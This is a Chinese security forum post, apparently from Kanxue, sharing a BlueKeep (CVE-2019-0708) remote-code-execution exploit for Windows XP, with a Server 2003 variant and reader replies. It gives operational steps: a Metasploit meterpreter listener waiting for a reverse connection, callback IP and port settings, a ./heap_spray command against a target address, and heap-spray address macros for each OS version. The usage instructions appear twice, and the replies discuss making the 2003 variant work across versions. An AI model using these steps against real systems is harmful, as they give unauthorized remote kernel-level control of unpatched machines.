首页
社区
课程
招聘
4
[原创]cve-2019-0708_bluekeep_xp_rce
发表于: 2019-9-29 17:42 8793

[原创]cve-2019-0708_bluekeep_xp_rce

2019-9-29 17:42
8793
前后花了3个月通过能够找到的各种开源资料,看雪论坛求助,实现了xp下面的稳定利用。03可以利用自己的机器,不具备通用性。



1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make 
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./heap_spray 192.168.116.134 (134是xp的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session

ps:
shellcode/shellcode.asm 是内核shellcode源码,编译以后转成二进制,就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了,make的时候会直接编译进程序。

目前仅支持xp,需要xp的内存 >= 2G
如果需要支持2003,需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址,经过反复测试,这个地址在03的不同系统版本,不同内存大小是不一样的。但是如果要测试
自己的机器的话,是可以成功在03上利用。不具备通用性。

heap_spray.c 
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif

测试03
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make 
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./_2003_heap_spray 192.168.116.135 (135是03的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make 
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./heap_spray 192.168.116.134 (134是xp的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session

ps:
shellcode/shellcode.asm 是内核shellcode源码,编译以后转成二进制,就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了,make的时候会直接编译进程序。

目前仅支持xp,需要xp的内存 >= 2G
如果需要支持2003,需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址,经过反复测试,这个地址在03的不同系统版本,不同内存大小是不一样的。但是如果要测试
自己的机器的话,是可以成功在03上利用。不具备通用性。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-9-30 11:34 被coolboyme编辑 ,原因: 补充使用说明和源码附件
上传的附件:
收藏
免费 4
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2023-1-22 01:45
王cb
为你点赞~
2019-9-30 10:13
L柳柳
为你点赞~
2019-9-29 17:52
coolboyme
为你点赞~
2019-9-29 17:51
最新回复 (16)
雪    币: 37884
活跃值: (65016)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
2
可以把分享内容都贴过来吗?
2019-9-29 17:44
0
雪    币: 28
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
牛逼
最后于 2019-9-29 17:48 被L柳柳编辑 ,原因:
2019-9-29 17:47
0
雪    币: 3398
活跃值: (1295)
能力值: ( LV13,RANK:335 )
在线值:
发帖
回帖
粉丝
4
Editor 可以把分享内容都贴过来吗?
好的,已经贴过来了
2019-9-29 17:55
0
雪    币: 14088
活跃值: (8134)
能力值: ( LV13,RANK:630 )
在线值:
发帖
回帖
粉丝
5
太强了,学习一下
2019-9-30 10:13
0
雪    币: 129
活跃值: (338)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
xed
6
很强。学习了,回头测试一波
2019-10-1 22:14
0
雪    币: 120
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
配图用的是什么工具?
2019-10-8 21:48
0
雪    币: 5640
活跃值: (7769)
能力值: ( LV15,RANK:531 )
在线值:
发帖
回帖
粉丝
8
2019-10-12 19:16
0
雪    币: 760
活跃值: (69)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
9
coolboyme 好的,已经贴过来了
大佬你好~ 我看了一下源代码,没有看得很明白,使用的是MS_120频道PDU喷堆吗? 
我试过这个方式,在2008/win7系统上实现不了 ……
2019-10-13 11:48
0
雪    币: 3398
活跃值: (1295)
能力值: ( LV13,RANK:335 )
在线值:
发帖
回帖
粉丝
10
肯特君 大佬你好~ 我看了一下源代码,没有看得很明白,使用的是MS_120频道PDU喷堆吗? 我试过这个方式,在2008/win7系统上实现不了 ……
MS_120  这个channel在2008/win7 确实用不了。
2019-10-14 09:09
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
11
2003的不通用。系统版本和内存大小也是固定的那几种,那是不是可以设置成通用的呢
2019-10-20 13:47
0
雪    币: 2
活跃值: (428)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
  ubunbu 系统 make 编译时 出错。。。kali 编译时 是出错。。。有windows 编译的吗。。。make 编译时 rdesktop-1.8 成功。。。  给个架设好 ubunbu 系统 ...网盘下载。。有py版本..rb版本的吗。。 
2019-10-25 01:03
0
雪    币: 3398
活跃值: (1295)
能力值: ( LV13,RANK:335 )
在线值:
发帖
回帖
粉丝
13
wx_哄哄_670 2003的不通用。系统版本和内存大小也是固定的那几种,那是不是可以设置成通用的呢
假设有4种版本,你怎么知道目标版本是哪一个呢? 一打过去就蓝屏了。
2019-10-25 15:29
0
雪    币: 3398
活跃值: (1295)
能力值: ( LV13,RANK:335 )
在线值:
发帖
回帖
粉丝
14
lovetoday ubunbu 系统 make 编译时 出错。。。kali 编译时 是出错。。。有windows 编译的吗。。。make 编译时 rdesktop-1.8 成功。。。 给个架设好 ubunbu 系 ...
编译出错是库依赖,简单百度下就能解决了。
2019-10-25 15:30
0
雪    币: 3398
活跃值: (1295)
能力值: ( LV13,RANK:335 )
在线值:
发帖
回帖
粉丝
15
没有rb版本,不打算合入到 msf 里面
2019-10-25 15:32
0
雪    币: 3398
活跃值: (1295)
能力值: ( LV13,RANK:335 )
在线值:
发帖
回帖
粉丝
16
lovetoday ubunbu 系统 make 编译时 出错。。。kali 编译时 是出错。。。有windows 编译的吗。。。make 编译时 rdesktop-1.8 成功。。。 给个架设好 ubunbu 系 ...
没有rb版本,不打算合入到 msf 里面
2019-10-25 15:32
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
17
coolboyme 假设有4种版本,你怎么知道目标版本是哪一个呢? 一打过去就蓝屏了。
自定义4种版本。和meterprete一样 自己手动选择啊。最多4次不就成功。
2019-11-2 14:42
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册